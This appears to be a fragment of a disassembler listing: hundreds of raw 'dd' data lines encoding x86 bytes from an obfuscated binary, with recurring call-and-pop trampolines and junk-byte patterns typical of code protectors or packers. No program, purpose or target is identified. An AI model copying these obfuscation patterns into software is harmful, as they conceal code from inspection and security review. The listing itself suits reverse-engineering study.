		dd 4245489h, 4244481h, 1Ah, 0FBC35242h,	15393F35h, 8589B6A9h
		dd 9350295h, 0BF665350h, 895F738Fh, 6A2404h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0A2C0E6C3h
		dd 9FA25DA4h, 89032F29h, 350811B5h, 6A006A09h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0E9D0C355h, 0Ah, 81579E12h, 399E1C71h, 6A68E6h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0E0C35040h, 0BF07536Bh
		dd 387E43F9h, 33195FFh,	6A0935h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0B4FD50C3h, 8739316Ch
		dd 8D8D0181h, 9389AABh,	0D1FF7AB7h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 94C35141h, 8352B3E4h, 351C19BDh
		dd 850F0109h, 6Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 69C35141h, 440961FAh,	26A6FB7h, 7E990h
		dd 3330000h, 86EAEE2Ch,	27B35020h, 52006A90h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0D3CD1A7Fh
		dd 0A9F6FE36h, 0DF811F11h, 69EDC867h, 115195FFh, 97BB0935h
		dd 0E9475C03h, 0D84h, 0E8h, 0ED815D00h,	9394EDFh, 878BF66h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0EAC35747h
		dd 858DAFB2h, 938932Bh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 6CC35141h, 525A856Fh,	4AD0A8C5h, 2C01BD8Bh
		dd 89500935h, 66562404h, 645BDA8Bh, 35FFh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 3558D7C3h, 7E3B7BFEh, 5FF55253h, 258964h, 89000000h
		dd 35107595h, 985FF09h,	8B093530h, 352E65BDh, 6AFF6A09h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 2B2BC352h, 792C8457h, 0B5FF978Dh,	93506B5h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 6FC35141h
		dd 840FCAADh, 15h, 5E8h, 2FC8FE00h, 5E90368h, 2B000000h
		dd 8540211Ah, 0B995FF5Bh, 0E909352Eh, 129h, 0A5B58960h
		dd 2909352Ah, 351E8D95h, 0B06109h, 5E850h, 0E7610000h
		dd 17D1792h, 3517758Dh,	0BF5B5F09h, 400110A0h, 665370E6h
		dd 117ECF81h, 6671E45Bh, 0C441D381h, 830F613Ch,	0E9h, 17999D8Bh
		dd 0B60F0935h, 0E1B7BFC8h, 6BA58ABh, 0E9000000h, 8, 38351AD7h
		dd 0AD42E34h, 9D8BC18Bh, 9352C45h, 0DE960h, 0FB8E0000h
		dd 93215FD9h, 0AEC55032h, 8BD77B8Ah, 0E8C161C2h, 0F19D2B04h
		dd 8B09352Bh, 350599BDh, 0E2F76609h, 5E8h, 0F1153100h
		dd 8D89933Ah, 935031Dh,	0B7C82B5Bh, 0E9D18BF2h,	9, 0B50BF860h
		dd 93521E9h, 65858B61h,	53093526h, 7F4B09BBh, 0F98B5F6Ch
		dd 5707C083h, 835FDA8Ah, 0B70F00C0h, 0FD03BFFh,	0E83h
		dd 4AE9F900h, 8A000000h, 618D29F8h, 8B093522h, 352CED8Dh
		dd 0BB5F5309h, 790B3799h, 0F01E183h, 2C84h, 518D8900h
		dd 5009352Fh, 1161BD09h, 835F0935h, 352CEDA5h, 8D09FE09h
		dd 93506C9h, 26659589h,	0B5890935h, 9351BE9h, 0E9h, 22B58D00h
		dd 890938D8h, 3510E18Dh, 6A006A09h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0A30EC351h
		dd 8ECAD25Bh, 0AABF66B5h, 2995FF1Ah, 89093508h,	352779B5h
		dd 0F06B909h, 0B70F0000h, 0FCE183DFh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 80C35343h, 0BF0FFA8Bh, 8589FCD8h
		dd 9350CF1h, 0B8h, 118D0100h, 60093508h, 5A5ABB66h, 0BA61h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 50D327C3h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 12C35545h, 6A7FCD8Eh,	3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0BAACC352h
		dd 804892FEh, 0D5C51CDh, 88h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0ACC35141h,	29958BF9h, 8B093516h
		dd 35287D8Dh, 75BD0109h, 50093504h, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 51006A58h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 9BADA61Dh
		dd 7BA9D0DDh, 85297D8Ch, 9352D09h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0B0C35545h,	0F96DC0Fh, 0BD83F9B7h
		dd 9351249h, 42840F00h,	0B8000000h, 0
		dd 9D896053h, 935229Dh,	0DD99529h, 5B610935h, 4C028D8Dh
		dd 6A0935h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 0DCFBA3C3h, 0E680DBC2h, 0C780E1FFh, 55BD83DEh
		dd 93522h, 468840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 90DAEAC3h, 8B66EEC5h
		dd 55BD83F9h, 1093522h,	453840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 5A4010C3h
		dd 9EE5ACCFh, 8529FE8Ah, 9350E41h, 2255BD83h, 0F030935h
		dd 3E686h, 6A6000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 220240C3h, 0F24E564Fh, 60D98C66h
		dd 8E9h, 4417E300h, 2857BF55h, 0E1806120h, 0A0FB704h, 72840FC9h
		dd 6A000001h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0C322C352h, 8A339B9Bh,	199D894Eh
		dd 8B093508h, 352B6185h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 0B7AEDA10h, 7D85331Dh
		dd 0F09350Dh, 0E850DABFh, 0Eh, 88CFF61Ch, 0A84299AFh, 4551F4B7h
		dd 0BB66F1E3h, 895BA268h, 8D092404h, 9350351h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 698402C3h, 7A8D5A8Eh, 0F0A31E68h, 8E8FAh, 0D0080000h
		dd 954A396Ah, 5250FB8Dh, 3FEFBF66h, 585A310Fh, 2404815Bh
		dd 52E60E1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	18C35141h, 0FFD2258Ah, 350CDD95h, 50006A09h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 9895E7AAh, 1677B7Ah,	3533059Dh, 6F858909h, 8B0938B7h
		dd 3530B9BDh, 1F6E909h,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 584719C3h, 81662C05h
		dd 0E8C5B5DBh, 0Fh, 0EACC61C7h,	12AD9ECh, 0DFD5CDBCh, 608F679Bh
		dd 0E9F6BF0Fh, 0Fh, 6B1210DAh, 0F671BA5h, 3DFC382Dh, 61ED015Dh
		dd 67858B5Fh, 6A0938B7h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0A5C0C353h,	8BECD780h
		dd 350D099Dh, 0E9BD8B09h, 0C709351Ah, 1800h, 21BD8B00h
		dd 8B093529h, 38B76BB5h, 0FBD78109h, 8B3E3A63h,	3524D585h
		dd 50006A09h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 0F3E4BF2Ch, 9C5F1EA8h, 0DA8B667Fh, 6A0689h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0E6541CC3h, 61858B9Dh, 6A09352Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 6D20C355h
		dd 9780F8Ch, 0C59BF55Dh, 66044689h, 1319CF81h, 0BCBF6650h
		dd 2434899Eh, 6DF8166h,	67B5FF2Fh, 6A0938B7h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0DF10C353h, 0E29F95ACh, 0EE8FC40h, 0C8000000h, 753C6240h
		dd 46543C33h, 17AC41D3h, 0CF8166E7h, 295F35B2h,	352E058Dh
		dd 4E809h, 3FF0000h, 6656001Fh,	505BD98Bh, 0FEFEBF66h
		dd 424448Bh, 0CE9h, 6DA8B800h, 9F676B44h, 4EA91D44h, 89008B03h
		dd 8B042444h, 0BD8B58FAh, 9352851h, 0B76F858Dh,	870F0938h
		dd 6, 0BC19D8Bh, 0F500935h, 2086h, 14E800h, 275F0000h
		dd 0F41CA7BAh, 2FC4FFA4h, 195556B4h, 3B7D8BDEh,	52509F68h
		dd 585A310Fh, 2404895Fh, 0B35BD8Bh, 95FF0935h, 9350CDDh
		dd 76AABB66h, 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 129C4440h, 0E9CC081Fh, 0Ah, 9DFABD69h
		dd 0C1470880h, 895353E9h, 352EB59Dh, 85C75F09h,	9352255h
		dd 3, 0BD83F98Bh, 938B76Fh, 3C840F00h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 7BFFC353h, 1372970Ah, 2A55BD8Bh, 5E90935h, 8000000h
		dd 94F10737h, 21E9h, 49BD8B00h,	5009350Ch, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 0D381C08Bh, 47BC142Ah
		dd 0D8BF0F60h, 61DAB70Fh, 1BB9BD8Bh, 0BD830935h, 9352255h
		dd 67850F03h, 0F000004h, 0BD83DBB7h, 938B76Fh, 57840F00h
		dd 6A000004h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0F07AC352h, 8481C01Bh,	9D89F026h
		dd 9352CF9h, 0B76FB5FFh, 6A0938h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0C43AF8C3h, 2A818D89h
		dd 95FF0935h, 9352E11h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 66C35545h, 0E25D64DBh, 0E30BA06h, 16059D8Bh
		dd 0B58B0935h, 938B763h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 56C35545h, 5CE155AEh,	738EE0B6h, 0FFB70FE4h
		dd 106C7h, 6A0001h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 5F971DC3h, 38F0Fh, 8B660000h, 0BF5096F9h
		dd 596D7FA7h, 0C59D8B96h, 0FF09350Bh, 38B76FB5h, 53006A09h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 2AADCFC1h, 51EB309Dh, 81F51D72h, 0C93874DBh,	8995FF65h
		dd 6A093502h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 97DEC356h, 0D9C38166h,	63B58B93h
		dd 0F50938B7h, 0E99858Bh, 0B5090935h, 9352809h,	90EB8166h
		dd 0C48689C9h, 29000000h, 3522FDBDh, 0B59D8B09h, 8B09350Fh
		dd 35162995h, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0F1F513E8h, 0DF81661Ah, 0C283C831h
		dd 17BB5304h, 5B713545h, 6A205089h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0D184C351h
		dd 7E571567h, 82DF8157h, 0E90CA237h, 13h, 71739193h, 0C9A193DEh
		dd 0B302634Eh, 0B4766111h, 8DBE6AEFh, 38CC0785h, 8689FC09h
		dd 0B8h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 15h,	0C8C35040h, 68C0FBCh, 89000000h, 352B2985h, 8B006A09h
		dd 6FB5FFF8h, 6A0938B7h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 8E88C356h, 0FE94Bh
		dd 3FF70000h, 339F5CBh,	0C1F36F2h, 0BE2A9497h, 5195FFABh
		dd 1093511h, 352D1195h,	61605009h, 66243489h, 880FFA8Bh
		dd 4, 5F47B352h, 0B76FB5FFh, 6A0938h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 9D03C7C3h
		dd 9351299h, 0B5595FFh,	6A0935h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 5C8A69C3h, 0CD60B411h
		dd 68E0Fh, 0BD8B0000h, 9350B65h, 79BD83h, 0F000935h, 3B84h
		dd 9E800h
		dd 0FCF40000h, 769D6859h, 8BFE88F8h, 89505BF9h,	6A2434h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 6AC05EC3h, 6FA101C9h, 0D98A19A0h, 0B76FB5FFh, 9D8B0938h
		dd 9351671h, 1C3595FFh,	6A0935h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 3D9990C3h, 68B6BB66h
		dd 0B76FB5FFh, 6A0938h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 3483BCC3h, 0CB29638Bh, 0C1BD8B2Fh
		dd 0FF093503h, 352CE595h, 51006A09h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 832C95A3h
		dd 3526BDBDh, 840F0209h, 6Fh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0A9C35040h,	0F5924D0Ah, 8B2B65FAh
		dd 3526AD85h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 0D3D7B2A2h, 0C680h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 15h, 0D0C35242h, 95BD89BBh
		dd 0C7093504h, 35326585h, 9, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 3F598D53h
		dd 8C0F19FDh, 6, 5659D8Bh, 56E90935h, 6AFFFFF3h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0ADB5C353h, 9D8B60E8h, 93530A1h, 9589C18Bh, 935128Dh
		dd 2659858Dh, 6A0935h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 8126E7C3h, 0CBACF6CBh, 8B665023h
		dd 240489D8h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 14h,	0B2C35646h, 1291BD8Bh, 9D8B0935h, 9351D8Dh, 6A12CF80h
		dd 9D9D8B00h, 6A09350Ah, 0E7816600h, 0BD8BC496h, 9352661h
		dd 5E81858Dh, 6A0939h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 8B81F4C3h, 350DC99Dh, 5C08309h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0D5C35646h
		dd 14810FC5h, 0E9000000h, 0Fh, 6DBAD566h, 0DD6BF4Eh, 0A048B20Dh
		dd 29F0ABB8h, 352C9D8Dh, 66609009h, 5061F78Bh, 6A90FA8Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 7CC3C357h, 10303C2Fh, 77C38166h, 6A006AFAh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0FF9C355h, 173B728Fh, 3160AA6Ch, 350F0DB5h
		dd 89952909h, 6109350Bh, 0FFFC006Ah, 35033195h,	55006A09h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 9B32F482h, 59D8B48h,	8D09351Bh, 389AAB8Dh, 0FD1FF09h
		dd 80h,	19BD8300h, 109351Ch, 9D850Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0AD3967C3h, 8B84FF64h, 351261BDh, 6A026A09h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 9F48C357h, 3864987Fh, 0DF407B2Dh, 0CB8B6660h, 61F9BF0Fh
		dd 0FE9h, 6D96B700h, 0AB7FE8B2h, 3102A939h, 87B83CF7h
		dd 8B665090h, 0FFFC90DFh, 35115195h, 51006A09h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0FA07449h
		dd 281h, 0E9D88B00h, 0D7Ch, 0E8h, 0ED815D00h, 9395E8Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0FDC35646h
		dd 5F5350FFh, 0F0D3815Bh, 1362E7Eh, 351E0D85h, 0F59D0909h
		dd 8D093503h, 38932B85h, 8960F509h, 3504898Dh, 0F28B6609h
		dd 0DE85061h, 0C5000000h, 0A4430456h, 5CFA729Ch, 43F9DB61h
		dd 12E8h, 739B100h, 0DFB3B0D3h,	34986F29h, 807FD7CEh, 8B8F279Ah
		dd 895F5FDEh, 0FF642404h, 35h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 25896448h
		dd 0
		dd 14E9h, 27839D00h, 620C9C1Eh,	0B7AD8A10h, 81D9B563h
		dd 0FB531F63h, 85FFF82Ch, 9353009h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0ACC35545h,	317D19F2h, 1A20BF66h
		dd 6AFF6Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 382B7EC3h, 1C75175Ah, 0FF140062h,	350C45B5h
		dd 0F9B52909h, 0FF09351Ah, 352EB995h, 113E909h,	0F520000h
		dd 182h, 0B05BF800h, 0B18D8900h, 0E6093524h, 0B75670h
		dd 371E45Fh, 351019BDh,	0D8BF0F09h, 830F613Ch, 0E9h, 2379BD8Bh
		dd 0B60F0935h, 559531C8h, 0BA09351Dh, 6, 0EE8h,	0FBB42200h
		dd 6E1F889Fh, 0F7EBFE25h, 372F3C6h, 3525D5BDh, 0C18B5F09h
		dd 14E9h, 875E5B00h, 74CF122Ch,	6DF4731Eh, 25277018h, 84467F6Dh
		dd 4E8C1EDh, 46BF6660h,	2DB58BBAh, 6109352Fh, 0E2F766FCh
		dd 0CA9B589h, 0C82B0935h, 0B70FD18Bh, 6E9F9h, 9D8B0000h
		dd 93512A9h, 0D65858Bh,	0C0830935h, 83DF8B07h, 0BD3300C0h
		dd 9350E1Dh, 830FD03Bh,	1Eh, 0FE950h, 0E3510000h, 0E8FB4F9Dh
		dd 0AFB3802Eh, 7247A3DAh, 3EE95B63h, 0F000000h,	8D8BDBBFh
		dd 9350441h, 1F419D89h,	0E1830935h, 26840F01h, 0BF000000h
		dd 11B4A70Bh, 441A583h,	29FE0935h, 350685BDh, 65958909h
		dd 0F09350Dh, 387h, 0FABF0F00h,	0E9h, 0EEB58D00h, 600938E8h
		dd 2F2D958Bh, 0B5290935h, 9353319h, 6A006A61h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0FE80C356h, 0C2EB6B18h, 11E96020h, 6D000000h, 7BABD140h
		dd 936AA256h, 3326198Dh, 66E1FFA7h, 82995FFh, 6A0935h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0E03379C3h, 0FAB89965h, 8A5B9h, 0B5896000h, 93530A9h
		dd 2591BD09h, 83610935h, 6AFCE1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 8B0E2C3h, 66966097h
		dd 586DF381h, 55006AFCh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 6C32374Dh, 0DEDD11F7h, 0F6B320A7h
		dd 158C0Fh, 9E80000h, 3A000000h, 0A9265FA8h, 0B8F568E1h
		dd 239BD0Bh, 0B85F0935h, 0
aLA5		db '▀╫a',1Bh,'5',9,'╨',0
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0A3A3C355h, 0E9BD895Eh, 0AD09351Ah
		dd 0E8D1C233h, 0E983D003h, 0E8F47504h, 0Dh, 0D935C571h
		dd 28C85101h, 211BEF4Bh, 0DDBD0BF7h, 5B093529h,	208D0Fh
		dd 14E80000h, 0B000000h, 834F152Fh, 0B2490C19h,	6F9DC34Ch
		dd 0FC36918Ch, 8B8D0703h, 350AA19Dh, 880D5F09h,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0A943C350h, 11D5BD29h, 51600935h,	8F0Fh
		dd 0BE5E0000h, 66B22A4Bh, 29958B61h, 0F093516h,	8D8BF8B7h
		dd 935287Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	0AC35545h, 7E97CD0h, 0D3000000h, 3A16280Dh, 8B503872h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0FB8BDF8Bh
		dd 0E4C3EB81h, 0BD835C69h, 9351249h, 61840F00h,	9000000h
		dd 352D3185h, 0B809h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 74C138C3h, 2B540FB8h
		dd 8B66D0AEh, 28D8DDAh,	6A09354Ch, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 6C67C357h
		dd 0F99282DAh, 0B70FE1FFh, 0DFBF0FF8h, 2255BD83h, 0F000935h
		dd 43184h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 7F319AB2h, 4C77E87Ah, 0F601616h
		dd 28Eh, 0BFF8B100h, 19BFAE6Ch,	55BD8361h, 1093522h, 40B840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0F4E4E2C3h, 10E96Ch, 175E0000h, 9FA4159h
		dd 2715B74Fh, 8A35FC70h, 0BD838D50h, 9352255h, 94860F03h
		dd 6A000003h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0C366C352h, 6005F5BFh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 4DC35141h, 6A68400Eh
		dd 0D98C66F5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	7CC35040h, 0A828AFD1h, 0C1F14A7Dh, 0F99501F3h
		dd 0E9093526h, 7, 30BE011Ch, 80DF9942h,	8D3104E1h, 9350CD1h
		dd 840FC90Ah, 10Dh, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0D8C35141h, 0FEE6E775h, 0BD8B5A26h, 935276Dh
		dd 1D69BD29h, 858B0935h, 9352B61h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 51C35343h, 3D30DF44h, 65D6C7E9h
		dd 0CF81667Fh, 85330540h, 9350D7Dh, 50D9B70Fh, 89D98B66h
		dd 8E92404h, 0CC000000h, 7AC67C8Ch, 6A442799h, 33BF6600h
		dd 4E85Fh, 3FF0000h, 0CABB001Fh, 50184C0Ch, 14E95250h
		dd 0DB000000h, 0EF2E510Fh, 3F80CA04h, 9C95D3DAh, 0C6D135CDh
		dd 0F7B0625h, 5A5B5031h, 24448B58h, 11E95704h, 37000000h
		dd 937CE7DBh, 9C6A85BFh, 2466DB98h, 0C07CC6A6h,	0E9008B5Bh
		dd 7, 8764B514h, 89FB6F02h, 66042444h, 584EFEBBh, 0B658589h
		dd 95FF0935h, 9350CDDh,	300D8589h, 85890935h, 938B76Fh
		dd 2249BD8Bh, 96E90935h, 8B000001h, 3506759Dh, 67858B09h
		dd 0C70938B7h, 1800h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0E4ED9185h, 0BE960E9h
		dd 0B6000000h, 9A91082Ah, 48E4C6DEh, 0B70FB5B2h, 0B58B61FAh
		dd 938B76Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	24C35242h, 0B931EC82h, 2C51BD89h, 858B0935h, 93524D5h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 5FC35040h
		dd 40A3EDD6h, 8166B477h, 0E85444EBh, 9,	7DB4CCABh, 232AF3FEh
		dd 3890FA1h, 0F000000h,	0F5FDAB7h, 689FAB7h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 77C35646h, 4EFD9285h
		dd 0BD9D8B0Fh, 8B09350Eh, 352B6185h, 0E3816609h, 46894AE1h
		dd 8D0F04h, 50000000h, 0F2CC46BBh, 2434895Ch, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 6EC35646h, 24D470CFh
		dd 663653ECh, 9529D88Bh, 9352C45h, 0B767B5FFh, 6A0938h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 146ACDC3h, 53E3DF2Dh, 688145BFh, 278DDCE3h, 0A48EC4BFh
		dd 24348160h, 2792DF1Ch, 0BB27BB51h, 8D5F7846h,	38B76F85h
		dd 0ECF8109h, 502DEAF9h, 5BFA8B50h, 1240489h, 350C01B5h
		dd 0DD95FF09h, 8B09350Ch, 351C399Dh, 66F86109h,	85C7FB8Bh
		dd 9352255h, 3,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	2FC35141h, 0D52D213h, 83FE8BD1h, 38B76FBDh, 840F0009h
		dd 2Bh,	0D019D8Bh, 3BE90935h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0D79FC351h
		dd 50FEB5D6h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 1D4593C3h, 0C0CE87A0h, 816682FAh
		dd 5657C8EBh, 5BD6CF80h, 108E0Fh, 8E80000h, 4C000000h
		dd 28011E92h, 51CB42BAh, 0BD835B5Fh, 9352255h, 0D4850F03h
		dd 0F000003h, 583h, 0CB816600h,	0BD83146Bh, 938B76Fh, 0BC840F00h
		dd 0F000003h, 8B66D9BFh, 6FB5FFF9h, 6A0938B7h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0EAD9C357h, 6427F937h, 665378E9h, 8589DF8Bh,	9352FFDh
		dd 2E1195FFh, 6A0935h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 655792C3h, 0EC32B726h, 1BD0BC1h
		dd 8B09351Eh, 38B763B5h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0B192F1FDh, 6C70A50h
		dd 10001h, 31C9BD33h, 89500935h, 6A2434h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0B2D020C3h
		dd 0CB80BD2Dh, 2D9D8B9Eh, 0FF093528h, 38B76FB5h, 8995FF09h
		dd 89093502h, 351B2D9Dh, 63B58B09h, 6A0938B7h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 6699C352h, 73A8D9Ah,	0D1816660h, 0BE8A650h, 0AA000000h
		dd 0AC5BC517h, 0A6EBFFD1h, 0B70F21D3h, 8B615ACEh, 350E9985h
		dd 9D8B6009h, 93528D1h,	8961FD8Ah, 0C486h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 0FDA1FF67h, 50994D9Bh, 26B99D8Bh, 958B0935h,	9351629h
		dd 0D9BF0F52h, 4C2835Fh
		db 89h,	0BDh
word_584F4E	dw 1C71h		; DATA XREF: ___:00436EC4o
		dd 0BD890935h, 9352449h, 0E9205089h, 14h, 0E94A85DFh, 0C12607D6h
		dd 240A965Ah, 1F9820CAh, 0FBA76F7Eh, 2A5D8589h,	858D0935h
